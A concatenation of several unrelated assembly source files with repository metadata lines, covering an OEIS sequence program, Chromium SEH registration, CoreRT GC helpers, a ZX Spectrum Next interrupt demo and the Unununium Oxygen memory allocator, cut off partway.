34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 */
55.974684
2,999
0.657395
06a41c6495c8fb74eb7883cd713818b5cd0a1055
1,068
asm
Assembly
programs/oeis/047/A047484.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/047/A047484.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/047/A047484.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A047484: Numbers that are congruent to {3, 5, 7} mod 8. ; 3,5,7,11,13,15,19,21,23,27,29,31,35,37,39,43,45,47,51,53,55,59,61,63,67,69,71,75,77,79,83,85,87,91,93,95,99,101,103,107,109,111,115,117,119,123,125,127,131,133,135,139,141,143,147,149,151,155,157,159,163,165,167,171,173,175,179,181,183,187,189,191,195,197,199,203,205,207,211,213,215,219,221,223,227,229,231,235,237,239,243,245,247,251,253,255,259,261,263,267,269,271,275,277,279,283,285,287,291,293,295,299,301,303,307,309,311,315,317,319,323,325,327,331,333,335,339,341,343,347,349,351,355,357,359,363,365,367,371,373,375,379,381,383,387,389,391,395,397,399,403,405,407,411,413,415,419,421,423,427,429,431,435,437,439,443,445,447,451,453,455,459,461,463,467,469,471,475,477,479,483,485,487,491,493,495,499,501,503,507,509,511,515,517,519,523,525,527,531,533,535,539,541,543,547,549,551,555,557,559,563,565,567,571,573,575,579,581,583,587,589,591,595,597,599,603,605,607,611,613,615,619,621,623,627,629,631,635,637,639,643,645,647,651,653,655,659,661,663,667 mov $1,$0 div $0,3 add $1,$0 mul $1,2 add $1,3
118.666667
961
0.724719
949195df087e45d2992773bf64458ebbee93d2e4
1,871
asm
Assembly
chrome_frame/exception_barrier_lowlevel.asm
nagineni/chromium-crosswalk
5725642f1c67d0f97e8613ec1c3e8107ab53fdf8
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
212
2015-01-31T11:55:58.000Z
2022-02-22T06:35:11.000Z
chrome_frame/exception_barrier_lowlevel.asm
1065672644894730302/Chromium
239dd49e906be4909e293d8991e998c9816eaa35
[ "BSD-3-Clause" ]
5
2015-03-27T14:29:23.000Z
2019-09-25T13:23:12.000Z
chrome_frame/exception_barrier_lowlevel.asm
1065672644894730302/Chromium
239dd49e906be4909e293d8991e998c9816eaa35
[ "BSD-3-Clause" ]
221
2015-01-07T06:21:24.000Z
2022-02-11T02:51:12.000Z
; Copyright (c) 2010 The Chromium Authors. All rights reserved. ; Use of this source code is governed by a BSD-style license that can be ; found in the LICENSE file. ; ; Tag the exception handler as an SEH handler in case the executable ; is linked with /SAFESEH (which is the default). ; ; MASM 8.0 inserts an additional leading underscore in front of names ; and this is an attempted fix until we understand why. ; MASM 10.0 fixed this. IF @version LT 800 OR @version GE 1000 _ExceptionBarrierHandler PROTO .SAFESEH _ExceptionBarrierHandler _ExceptionBarrierReportOnlyModuleHandler PROTO .SAFESEH _ExceptionBarrierReportOnlyModuleHandler _ExceptionBarrierCallCustomHandler PROTO .SAFESEH _ExceptionBarrierCallCustomHandler ELSE ExceptionBarrierHandler PROTO .SAFESEH ExceptionBarrierHandler ExceptionBarrierReportOnlyModuleHandler PROTO .SAFESEH ExceptionBarrierReportOnlyModuleHandler ExceptionBarrierCallCustomHandler PROTO .SAFESEH ExceptionBarrierCallCustomHandler ENDIF .586 .MODEL FLAT, STDCALL ASSUME FS:NOTHING .CODE ; extern "C" void WINAPI RegisterExceptionRecord( ; EXCEPTION_REGISTRATION *registration, ; ExceptionHandlerFunc func); RegisterExceptionRecord PROC registration:DWORD, func:DWORD OPTION PROLOGUE:None OPTION EPILOGUE:None mov edx, DWORD PTR [esp + 4] ; edx is registration mov eax, DWORD PTR [esp + 8] ; eax is func mov DWORD PTR [edx + 4], eax mov eax, FS:[0] mov DWORD PTR [edx], eax mov FS:[0], edx ret 8 RegisterExceptionRecord ENDP ; extern "C" void UnregisterExceptionRecord( ; EXCEPTION_REGISTRATION *registration); UnregisterExceptionRecord PROC registration:DWORD OPTION PROLOGUE:None OPTION EPILOGUE:None mov edx, DWORD PTR [esp + 4] mov eax, [edx] mov FS:[0], eax ret 4 UnregisterExceptionRecord ENDP END
30.177419
72
0.760556
bd141a678f15e8fc659fbe0a2a0554d2bfde1a75
4,303
asm
Assembly
src/Native/Runtime/amd64/GC.asm
ZZHGit/corert
367ec5addb0a80bfbbda339d6add3ce3b99ddc75
[ "MIT" ]
null
null
null
src/Native/Runtime/amd64/GC.asm
ZZHGit/corert
367ec5addb0a80bfbbda339d6add3ce3b99ddc75
[ "MIT" ]
null
null
null
src/Native/Runtime/amd64/GC.asm
ZZHGit/corert
367ec5addb0a80bfbbda339d6add3ce3b99ddc75
[ "MIT" ]
1
2019-09-17T21:10:15.000Z
2019-09-17T21:10:15.000Z
;; ;; Copyright (c) Microsoft. All rights reserved. ;; Licensed under the MIT license. See LICENSE file in the project root for full license information. ;; include AsmMacros.inc ;; extern "C" DWORD getcpuid(DWORD arg, unsigned char result[16]); NESTED_ENTRY getcpuid, _TEXT push_nonvol_reg rbx push_nonvol_reg rsi END_PROLOGUE mov eax, ecx ; first arg mov rsi, rdx ; second arg (result) cpuid mov [rsi+ 0], eax mov [rsi+ 4], ebx mov [rsi+ 8], ecx mov [rsi+12], edx pop rsi pop rbx ret NESTED_END getcpuid, _TEXT ;The following function uses Deterministic Cache Parameter leafs to crack the cache hierarchy information on Prescott & Above platforms. ; This function takes 3 arguments: ; Arg1 is an input to ECX. Used as index to specify which cache level to return information on by CPUID. ; Arg1 is already passed in ECX on call to getextcpuid, so no explicit assignment is required; ; Arg2 is an input to EAX. For deterministic code enumeration, we pass in 4H in arg2. ; Arg3 is a pointer to the return dwbuffer NESTED_ENTRY getextcpuid, _TEXT push_nonvol_reg rbx push_nonvol_reg rsi END_PROLOGUE mov eax, edx ; second arg (input to EAX) mov rsi, r8 ; third arg (pointer to return dwbuffer) cpuid mov [rsi+ 0], eax mov [rsi+ 4], ebx mov [rsi+ 8], ecx mov [rsi+12], edx pop rsi pop rbx ret NESTED_END getextcpuid, _TEXT ifndef CORERT ; @TODO: CORERT GC transitions ;; ;; Unmanaged helpers used by the managed System.GC class. ;; ;; Force a collection. ;; On entry: ;; ECX = generation to collect (-1 for all) ;; EDX = mode (default, forced or optimized) ;; ;; This helper is special because it's not called via a p/invoke that transitions to pre-emptive mode. We do ;; this because the GC wants to be called in co-operative mode. But we are going to cause a GC, so we need to ;; make this stack crawlable. As a result we use the same trick as the allocation helpers and build an ;; explicit transition frame based on the entry state so the GC knows where to start crawling this thread's ;; stack. NESTED_ENTRY RhCollect, _TEXT INLINE_GETTHREAD rax, r10 ; rax <- Thread pointer, r10 <- trashed mov r11, rax ; r11 <- Thread pointer PUSH_COOP_PINVOKE_FRAME rax, r10, no_extraStack ; rax <- in: Thread, out: trashed, r10 <- trashed END_PROLOGUE ; ECX: generation to collect ; EDX: alloc flags ; R11: Thread * ;; Initiate the collection. ;; void RedhawkGCInterface::GarbageCollect(UInt32 uGeneration, UInt32 uMode) call REDHAWKGCINTERFACE__GARBAGECOLLECT POP_COOP_PINVOKE_FRAME no_extraStack ret NESTED_END RhCollect, _TEXT ;; Re-register an object of a finalizable type for finalization. ;; rcx : object ;; NESTED_ENTRY RhReRegisterForFinalize, _TEXT EXTERN RhReRegisterForFinalizeHelper : PROC INLINE_GETTHREAD rax, r10 ; rax <- Thread pointer, r10 <- trashed PUSH_COOP_PINVOKE_FRAME rax, r10, no_extraStack ; rax <- in: Thread, out: trashed, r10 <- trashed END_PROLOGUE ;; Call to the C++ helper that does most of the work. call RhReRegisterForFinalizeHelper POP_COOP_PINVOKE_FRAME no_extraStack ret NESTED_END RhReRegisterForFinalize, _TEXT ;; RhGetGcTotalMemory ;; No inputs, returns total GC memory as 64-bit value in rax. ;; NESTED_ENTRY RhGetGcTotalMemory, _TEXT EXTERN RhGetGcTotalMemoryHelper : PROC INLINE_GETTHREAD rax, r10 ; rax <- Thread pointer, r10 <- trashed PUSH_COOP_PINVOKE_FRAME rax, r10, no_extraStack ; rax <- in: Thread, out: trashed, r10 <- trashed END_PROLOGUE ;; Call to the C++ helper that does most of the work. call RhGetGcTotalMemoryHelper POP_COOP_PINVOKE_FRAME no_extraStack ret NESTED_END RhGetGcTotalMemory, _TEXT endif ;; CORERT end
33.356589
137
0.639786
26acb88fa9e9674116d185835005f3963058280d
1,895
asm
Assembly
interrupt/i5.asm
remy/z80-wip
561356737540803aa7ced4a36f7ca176683412a9
[ "MIT" ]
null
null
null
interrupt/i5.asm
remy/z80-wip
561356737540803aa7ced4a36f7ca176683412a9
[ "MIT" ]
null
null
null
interrupt/i5.asm
remy/z80-wip
561356737540803aa7ced4a36f7ca176683412a9
[ "MIT" ]
null
null
null
DEVICE ZXSPECTRUMNEXT CSPECTMAP "i5.map" org $8000 Start: ;break jr Attach wBorder db 0 Update: ld a,(wBorder) inc a and 7 out (254),a ld (wBorder),a ret Attach: ; Setup the 128 entry vector table di ; Setup the I register (the high byte of the table) ld a,high IM2Table ld i,a im 2 ei ;jr $ ret ORG $FCFC ; ISR (Interrupt Service Routine) IM2Routine: push af push hl push bc push de push ix push iy exx ex af, af' push af push hl push bc push de call Update pop de pop bc pop hl pop af ex af, af' exx pop iy pop ix pop de pop bc pop hl pop af ei rst $38 ; Make sure this is on a 256 byte boundary ORG $FE00 IM2Table: ds 257,high IM2Routine SAVENEX OPEN "i5.nex", Start, $ff40 SAVENEX CORE 3, 0, 0 ; core 3.0.0 required SAVENEX CFG 1 ; blue border (as debug) SAVENEX AUTO ; dump all modified banks into NEX file
24.61039
83
0.312929
d6119e70da4f6c8210607f8fe9d27c59b1563865
46,277
asm
Assembly
dimension/cell/memory/oxygen/oxygen.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
7
2019-03-04T08:53:33.000Z
2022-01-28T19:32:12.000Z
dimension/cell/memory/oxygen/oxygen.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
dimension/cell/memory/oxygen/oxygen.asm
ekscrypto/Unununium
4b67e7c5e63cf1be2157382ffd4c1e9d12957a1f
[ "BSD-2-Clause" ]
null
null
null
;; $Header: /cvsroot/uuu/dimension/cell/memory/oxygen/oxygen.asm,v 1.2 2002/01/17 15:13:09 instinc Exp $ ;; ;; Wave ]|[ Oxygen ;; .: by EKS :. ;; ;; Distributed under the BSD License see uuu/license for more details ;; [bits 32] section .text ;; TODO: ;; memory statistics are a little off; the ammount should be alright as long ;; as the mem.(de)?alloc_forced_range functions don't fail. ;; _CONSISTENCY_CHECK_ ;; ;; If defined, the various trinary tree manipulation routine will do extra ;; checks to make sure the various nodes they are working on are valid memory ;; locations. This prevent eternal node travelling, linking over non null node ;; and various other errors that may be seen. ;; %define _CONSISTENCY_CHECK_ ;; _EXTERNAL_PARANOIA_ ;; ;; When defined, all the parameters passed as argument will be checked, we ;; basically give the minimum trust to the caller. A defined level also ;; include all the lower one. So if you select 2, all instructions of ;; 0, 1 and 2 are performed. ;; ;; 0 Absolute trust in external callers, they always provide good values ;; 1 Addresses are good, sizes may require alignment ;; 2 Addresses should be good, check if alignment is ok, if so trust it ;; 3 Double check the address given when deallocating, just to make sure ;; we aren't screwing something up ;; 4 Blocks of memory forced free should be checked for their address/size ;; alignment ;; 5 Blocks freed should be checked against all memory registered to make ;; sure they don't overlap in any way possible ;; %define _EXTERNAL_PARANOIA_ 5 ;; _ABSOLUTE_DEBUGGING_ ;; ;; If defined, will cause a tons of information to be sent on screen to allow ;; complete monitoring of the memory manager behaviour. ;; ;%define _ABSOLUTE_DEBUGGING_ ;; _BLOCK_ALIGNMENT_ ;; ;; This value defined the minimum block alignment size. Note that this value ;; must not be set below the current fmm structure size, otherwise memory ;; corruption is for sure to happen. ;; %define _BLOCK_ALIGNMENT_ 64 ;; _KEEP_RM_IDT_ ;; ;; If you plan on using the realmode portal (calcium or another) uncomment ;; this variable to make sure to not mark the realmode interrupt table as ;; free to allocate ram ;; %define _KEEP_RM_IDT_ ;; _ASSUME_MEMORY_ ;; ;; Defineing this causes oxygen to skip the normal memory detection routines ;; and assume a fixed ammount of ram. Some emulators <cough>vmware</cough> ;; seem to have a problem with the bios calls oxygen uses, but it seems to ;; work on all real computers and in bochs. %ifdef __VMWARE__ ; vmware BIOS is br0ken and can't deal with this %define _ASSUME_MEMORY_ 4 MB ; (megabytes) %endif ;;-------- END OF USER SELECTABLE OPTIONS ----------- %ifidn _EXTERNAL_PARANOIA_, 5 %define _PARANOIA_5_ %define _EXTERNAL_PARANOIA_ 4 %endif %ifidn _EXTERNAL_PARANOIA_, 4 %define _PARANOIA_4_ %define _EXTERNAL_PARANOIA_ 3 %endif %ifidn _EXTERNAL_PARANOIA_, 3 %define _PARANOIA_3_ %define _EXTERNAL_PARANOIA_ 2 %endif %ifidn _EXTERNAL_PARANOIA_, 2 %define _PARANOIA_2_ %define _EXTERNAL_PARANOIA_ 1 %endif %ifidn _EXTERNAL_PARANOIA_, 1 %define _PARANOIA_1_ %endif %undef _EXTERNAL_PARANOIA_ section .c_info db 3,1,0,"b" dd str_title dd str_author dd str_copyrights str_title: db "Oxygen $Revision: 1.2 $",0 str_author: db "eks",0 str_copyrights: db "BSD Licensed",0 %if 0 section .c_init global _start _start: %ifndef _ASSUME_MEMORY_ setup_portal: mov [core_range.start], esi add esi, [esi + hdr_core.core_size] mov [core_range.end], esi mov esi, portal_code_start mov edi, __realmode_portal mov ecx, (portal_code_end - portal_code_start) >> 2 repz movsd sgdt [gdtr] movzx edx, word [gdtr] mov edi, [gdtr + 2] inc edx mov [edi + edx], dword 0x0000FFFF mov [edi + edx + 4], dword 0x00009B00 mov [edi + edx + 8], dword 0x0000FFFF mov [edi + edx + 12], dword 0x00009300 add edx, byte 15 mov [gdtr], dx lgdt [gdtr] acquire_memory_details: push byte 0 push byte 0x15 mov edi, 0x00007A00 .acquiring_smap: mov eax, 0x0000E820 ; GET SYSTEM MEMORY MAP mov edx, 'SMAP' mov ecx, 0x20 xor ebx, ebx call __realmode_portal jc short .smap_failed cmp eax, 'SMAP' jnz short .smap_failed or byte [acquisition_status], byte 0x02 add edi, byte 0x20 or ebx, ebx jnz short .acquiring_smap .smap_acquired: add esp, byte 8 pop eax dmej 0xFF880803 ; INCOMPLETE DEV, waiting to find some computer that at least ; support this call so as to be able to test it.. .smap_failed: test byte [acquisition_status], byte 0x02 jnz short .smap_acquired mov eax, [esp + 8] .acquire_large_mem_size: mov eax, 0x0000E881 ; GET MEM SIZE FOR >64M CONFIGURATIONS (32bit) call __realmode_portal jc short .large32_mem_failed cmp eax, 0x3C00 jb short .large_mem_conversion .large32_mem_failed: mov eax, 0x0000E801 ; GET MEM SIZE FOR >64M CONFIGURATIONS (16bit) call __realmode_portal jc short .large16_mem_failed movzx eax, ax cmp eax, 0x3C00 ja short .large16_mem_failed movzx eax, ax ; extended mem between 1MB and 16MB in 1KB block movzx ebx, bx ; extended mem above 16MB in 64KB block movzx ecx, cx ; configured mem between 1MB and 16MB in 1KB block movzx edx, dx ; configured mem above 16MB in 64KB block .large_mem_conversion: add esp, byte 8 inc edx shl ecx, 10 ; 1KB block, 10bit shift on left shl edx, 16 ; 64KB block, 16bit shift on left cmp ecx, 0x00F00000 mov eax, 0x00100000 jnz short .register_separately lea ecx, [byte edx + ecx] call _dealloc_range jmp short .no_large_mem .register_separately: or ecx, ecx jz short .no_large_mem push edx call _dealloc_range pop ecx or ecx, ecx jz short .no_large_mem inc ecx mov eax, 0x01000000 call _dealloc_range .no_large_mem: jmp short .acquire_realmode_memory .large16_mem_failed: mov ah, 0x8A ; GET BIG MEMORY SIZE call __realmode_portal jc short .big_memory_size_failed add esp, byte 8 dmej 0xFF880A39 .big_memory_size_failed: mov ah, 0x88 ; GET EXTENDED MEMORY SIZE (286+) call __realmode_portal jc short .extended_mem_failed add esp, byte 8 movzx ecx, ax shl ecx, 10 mov eax, 0x00100000 call _dealloc_range jmp short .acquire_realmode_memory .extended_mem_failed: ; That starts making me wonder if your computer support any kind of memory ; size routine.. You know, it might be time for you to consider a new PC ;) dmej 0xFF880808 .acquire_realmode_memory: push byte 0 push dword 0xFFFF0012 call __realmode_portal add esp, byte 8 movzx ecx, ax inc ecx shl ecx, 10 %ifdef _KEEP_RM_IDT_ mov eax, 0x00000500 ; 000-400h IVT, 400h-500h Bios Data Area sub ecx, eax %else xor eax, eax %endif call _dealloc_range mov esi, [esp + 4] ; register memory used by the cells mov dword[mem.used_ram], dword 0 movzx ecx, word [esi + hdr_core.cell_count] add esi, byte hdr_core_size .registering_cell_memory: pushad mov eax, [esi] mov ecx, [esi + 4] or ecx, ecx jz short .bypass_registration call mem.alloc_forced_range .bypass_registration: popad jc near remove_2_descriptors add esi, byte hdr_cell_size loop .registering_cell_memory jmp remove_2_descriptors internal_failure: dmej 0xFF880004 reloading: dmej 0xFF880303 __realmode_portal equ 0x6000 align 4, db 0 portal_code_start: incbin "portal.bin" align 4, db 0 portal_code_end: gdtr: dd 0,0 acquisition_status: dd 0 core_range: .start: dd 0 .end: dd 0 _dealloc_range: pushad ; eax = base memory address ; ecx = size of the block lea ebx, [eax + ecx] cmp eax, dword [core_range.start] jb short .check_sb_ea cmp eax, dword [core_range.end] jae short .register_mem cmp ebx, dword [core_range.end] jbe short .quit mov eax, [core_range.end] sub ebx, eax mov ecx, ebx jmp short .register_mem .check_sb_ea: cmp ebx, dword [core_range.start] jbe short .register_mem cmp ebx, dword [core_range.end] jbe short .cut_high_part_and_reg push eax mov eax, [core_range.end] sub ebx, eax mov ecx, ebx call mem.dealloc_forced_range pop eax .cut_high_part_and_reg: mov ecx, [core_range.start] sub ecx, eax .register_mem: call mem.dealloc_forced_range .quit: popad retn remove_2_descriptors: sub word [gdtr], byte 16 lgdt [gdtr] init_end: popad %else ; _ASSUME_MEMORY_ pushad mov eax, 0x500 mov ecx, 0xA0000-0x500 call mem.dealloc_forced_range mov eax, 2 MB mov ecx, (_ASSUME_MEMORY_) - (2 MB) call mem.dealloc_forced_range mov dword[mem.used_ram], dword 0 popad %endif ; else _ASSUME_MEMORY_ retn %endif section .text ;; ___________ ;;< mem.alloc > ;; ----------- ;; o ^__^ ;; o (oo)\_______ ;; (__)\ )\/\ ;; ||----w | ;; || || ;;----------------------------------------------------------------------------- globalfunc mem.alloc ;> ;; This function allocate memory with some minimal guarantees: ;; ;; * physical address of the allocated block equal to its linear address ;; * at least 64bytes aligned, both in size and location ;; * will not be swapped at any given time ;; ;; Parameters: ;;------------ ;; ecx amount of memory requested ;; ;; Returned values: ;;----------------- ;; cf = 0, successful ;; eax = original amount of memory requested ;; ecx = size of the memory block allocated ;; edi = pointer to allocated memory block ;; ;; cf = 1, failed ;; eax = error code ;; ;; note: unspecified registers are left unmodified ;< ;;----------------------------------------------------------------------------- %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE3 ; Enable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; mov eax, ecx ; set to original value requested pushad ; backup all registers ; ; 64 bytes align requested size ;------------------------------ add ecx, byte 0x3F ; +63 to size requested and ecx, byte -0x40 ; mask lowest 6 bits of size requested mov eax, __ERROR_INVALID_PARAMETERS__ ; set error code jz short .return_with_error ; if result is 0, return with error ; mov [esp + 24], ecx ; ; Search fmm for a matching node ;------------------------------- mov edi, root.fmms ; set super root pointer .start_sized_node_search: ; mov edx, null_tnode ; set null pointer mov esi, [edi] ; load root node mov ebx, edx ; set best matching node to null ; ; Check for end of branch .find_sized_node: ;------------------------ cmp esi, edx ; have we reached a null node? jz short .allocate_tnode ; yes, allocate best match identified ; ; Check for a match ;------------------ cmp ecx, [esi + tnode_size] ; compare req'd size with node size jz short .perfect_size_match ; in case of a perfect match ; ; Decide where to go based on the size ;------------------------------------- sbb ebp, ebp ; calculate offset to next node pointer mov eax, esi ; prepare best match pointer in case mov esi, [ebp*4 + esi + 4] ; load next node jnb short .find_sized_node ; node was insufficient size, go above mov ebx, eax ; sufficient size found, mark as best jmp short .find_sized_node ; continue searching ; ; Verify that we check both node pools .check_for_below_1mb_alloc: ;------------------------------------- mov ebx, root.fmmsl ; set pointer to alternate super root cmp edi, ebx ; was super root already pointing there? mov edi, ebx ; set it there just in case jnz short .start_sized_node_search ; if not, browse the nodes below 1MB ; ; Error identified, return with it .return_with_error: ;--------------------------------- mov [esp + 28], eax ; set error code in returned values popad ; restore all registers stc ; set error flag ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; retn ; return to caller ; ; Search completed, check for a match .allocate_tnode: ;------------------------------------ cmp ebx, edx ; is best match = null? mov eax, __ERROR_INSUFFICIENT_MEMORY__; set error code in case jz short .check_for_below_1mb_alloc ; yes, see if another node pool exists ; mov esi, ebx ; ; ; Verify if node has a equal node .perfect_size_match: ;-------------------------------- cmp [esi + tnode.equal], edx ; jz short .complex_tnode_unlink ; ; mov eax, [esi + tnode.low] ; mov ebx, [esi + tnode.high] ; mov ebp, [esi + tnode.equal] ; mov edi, [esi + tnode.parent] ; mov [eax + tnode.parent], ebp ; mov [ebx + tnode.parent], ebp ; mov [edi], ebp ; mov [ebp + tnode.low], eax ; mov [ebp + tnode.high], eax ; mov [ebp + tnode.parent], edi ; mov [edx + tnode.parent], edx ; ; .common_tnode_unlink: ; sub ecx, [esi + tnode_size] ; jz short .unlink_from_fmm ; neg ecx ; ; ;-------------------------------------; ; curren situation: node to allocate is unlinked from fmms/fmmsl, it is still ; linked in the fmm, which is alright, we have to update the size left in the ; node and relink it in the fmms/fmmsl. ;-------------------------------------; ; Link node in fmms/fmmsl ;------------------------ mov eax, esi ; set eax as node pointer call .link_fmms ; link it ; ; Compute address of allocated mem block ;--------------------------------------- lea eax, [eax + ecx - bnode_size] ; add size after alloc to block addr ; ; Link node in umm .register_in_umm: ;----------------- mov [esp], eax ; set computed address as returned value mov ecx, [esp + 24] ; reload allocated block size sub [mem.free_ram], ecx ; update memory stats call mem.alloc_forced_range ; link it ; ; Allocation and linking completed ;--------------------------------- popad ; restore all registers clc ; clear error flag ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; retn ; return to caller ; ; Complex tnode unlinking .complex_tnode_unlink: ;------------------------ ; assuming: ; esi = pointer to node to unlink ; edx = null node ; edi = pointer to super root ; ecx = block size requested ;------------------------ mov eax, [esi + tnode.low] ; mov ebx, [esi + tnode.high] ; mov ebp, [esi + tnode.parent] ; cmp ebx, edx ; jz short .no_high_tnode ; ; cmp eax, edx ; jz short .no_low_tnode ; ; push eax ; .complex_search_tnode: ; mov edi, eax ; mov eax, [eax + tnode.high] ; cmp eax, edx ; jnz short .complex_search_tnode ; ; add edi, byte tnode.high ; pop eax ; mov [edi], ebx ; mov [ebx + tnode.parent], edi ; ; mov [ebp], eax ; mov [eax + tnode.parent], ebp ; ; jmp short .common_tnode_unlink ; ; .no_high_tnode: ; mov [eax + tnode.parent], ebp ; mov [ebp], eax ; mov [edx + tnode.parent], edx ; jmp short .common_tnode_unlink ; ; .no_low_tnode: ; mov [ebx + tnode.parent], ebp ; mov [ebp], ebx ; mov [edx + tnode.parent], edx ; jmp short .common_tnode_unlink ; ; ; Link node in fmms/fmmsl .link_fmms: ;------------------------ ; assuming: ; eax = pointer to node to link ; ecx = size of the memory block ; edx = pointer to null node ;------------------------ pushad ; backup all registers jmp near mem.dealloc_forced_range.t_link_node ; ; Unlink node from fmm .unlink_from_fmm: ;--------------------- mov edi, root.fmm ; set super root pointer lea eax, [esi - bnode_size] ; mov esi, [edi] ; load root node ; .browse_fmm_nodes: ; cmp esi, edx ; is the node null? jz short .fmm_node_not_found ; yes, block couldn't be found ; cmp eax, esi ; compare base addresses jz short .fmm_node_found ; match identified! ; sbb ebp, ebp ; compute offset to next node mov esi, [ebp*4 + esi + 4] ; load pointer to next node jmp short .browse_fmm_nodes ; go process it ; ; Block indicated couldn't be found .fmm_node_not_found: ;---------------------------------- popad ; restore all registers stc ; set error flag mov eax, __ERROR_INTERNAL_FAILURE__ ; set error code retn ; return to caller ; ; Node located .fmm_node_found: ;------------- push eax ; backup base address mov eax, [esi + bnode.low] ; get lower node pointer mov ebx, [esi + bnode.high] ; get higher node pointer cmp eax, edx ; is there a low node? mov ebp, [esi + bnode.parent] ; get parent node pointer jz short .no_low_fmm_bnode ; no low node, proceed to quick unlink ; cmp ebx, edx ; is there a high node? jz short .no_high_fmm_bnode ; no high node, proceed to quick unlink ; ; Unlink when both high and low present ;-------------------------------------- push eax ; backup low node base address .fmm_complex_search: ; mov edi, eax ; remember current node address mov eax, [eax + bnode.high] ; load next node cmp eax, edx ; is this new node null? jnz short .fmm_complex_search ; no, continue searching null node ; add edi, byte bnode.high ; compute offset to link point pop eax ; restore low node base address mov [edi], ebx ; link high node to highest low child mov [ebx + bnode.parent], edi ; set parent back to highest low child ; mov [ebp], eax ; set ptr in orig parent to low node mov [eax + bnode.parent], ebp ; set ptr back to parent ; jmp short .common_fmm_unlink ; common unlink tasks ; ; Quick unlink for low node .no_high_fmm_bnode: ;-------------------------- mov [eax + bnode.parent], ebp ; set low node parent's mov [ebp], eax ; set parent to point to low node mov [edx + bnode.parent], edx ; clean back null node in case low node ; was null jmp short .common_fmm_unlink ; common unlink tasks ; ; Quick unlink for high node .no_low_fmm_bnode: ;--------------------------- mov [ebx + bnode.parent], ebp ; set high node parent's mov [ebp], ebx ; set parent to point to high node mov [edx + bnode.parent], edx ; ; ; Go register block as allocated .common_fmm_unlink: ;--------------------------------- pop eax ; restore block base address jmp near .register_in_umm ; ;;----------------------------------------------------------------------------- ;; ________________________ ;;< mem.alloc_forced_range > ;; ------------------------ ;; o ^__^ ;; o (oo)\_______ ;; (__)\ )\/\ ;; ||----w | ;; || || ;;----------------------------------------------------------------------------- globalfunc mem.alloc_forced_range ;> ;; This function is used mostly by the memory manager initializer. It is used ;; to mark (yet unmanaged physical memory) as allocated. After the memory ;; block is allocated, it will then be managed by the memory manager the same ;; way as any other allocated memory block. Standard mem.dealloc function can ;; be used to free it later. ;; ;; parameters: ;;------------ ;; eax = base address of the block to mark as allocated ;; ecx = size of the block to mark as allocated ;; ;; returns: ;;--------- ;; errors and registers as usual ;< ;;----------------------------------------------------------------------------- add [mem.used_ram], ecx ; update memory statistics %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE3 ; Enable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; pushad ; backup all registers ; ; Allocate UMM entry ;------------------- mov edi, root.umm ; set pointer to super root mov ebx, [edi + 4] ; load free umm root pointer mov edx, null_lnode ; set null pointer mov esi, [ebx + lnode.next] ; get next free node pointer cmp ebx, edx ; check if acquired umm entry is null mov [edi + 4], esi ; set next entry as root pointer mov [esi + lnode.previous], edx ; set previous pointer of next node as ; null jz short .allocate_umm_table ; if allocated umm entry is nul... ; .umm_entry_allocated: ; ; Fill UMM info ;-------------- mov [ebx + bnode.low], edx ; set lower node pointer as null mov [ebx + bnode.high], edx ; set higher node pointer as null mov [ebx + umm.base_address], eax ; set base address as passed mov [ebx + umm.size], ecx ; set block size as passed ; ; Link UMM entry in UMM binary-tree ;---------------------------------- mov esi, [edi] ; load root node pointer mov ecx, edi ; ; .browse_bnodes: ; cmp esi, edx ; check if node we are browsing is null jz .link_point_identified ; if end of chain found, go and link ; ; Browse tree to find place to link ;---------------------------------- cmp eax, [esi + umm.base_address] ; compare base addresses jz short .node_already_present ; node already in the tree! ; sbb ebp, ebp ; compute offset to higher/lower ptr lea edi, [ebp*4 + esi + 4] ; get pointer to higher/lower node ptr mov esi, [edi] ; load higher/lower node pointer jmp short .browse_bnodes ; continue to browse ; .node_already_present: ; popad ; restore all registers mov eax, __ERROR_INVALID_PARAMETERS__ ; set error code stc ; set error flag ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; retn ; return to caller ; ; Link node .link_point_identified: ;---------- mov [edi], ebx ; link node to parent mov [ebx + bnode.parent], edi ; set parent pointer ; ; Return to caller successfully .recursive: ;------------------------------ popad ; restore all registers clc ; clear error flag ; %ifdef _ABSOLUTE_DEBUGGING_ ;----------------------- pushad ; backup all registers | mov dx, 0x8A00 ; I/O Debug address | mov ax, 0x8AE2 ; Disable Tracing code | out dx, ax ; send it | popad ; restore all registers| %endif ;----------------------- ; retn ; return to caller ; ; Allocate extra umm 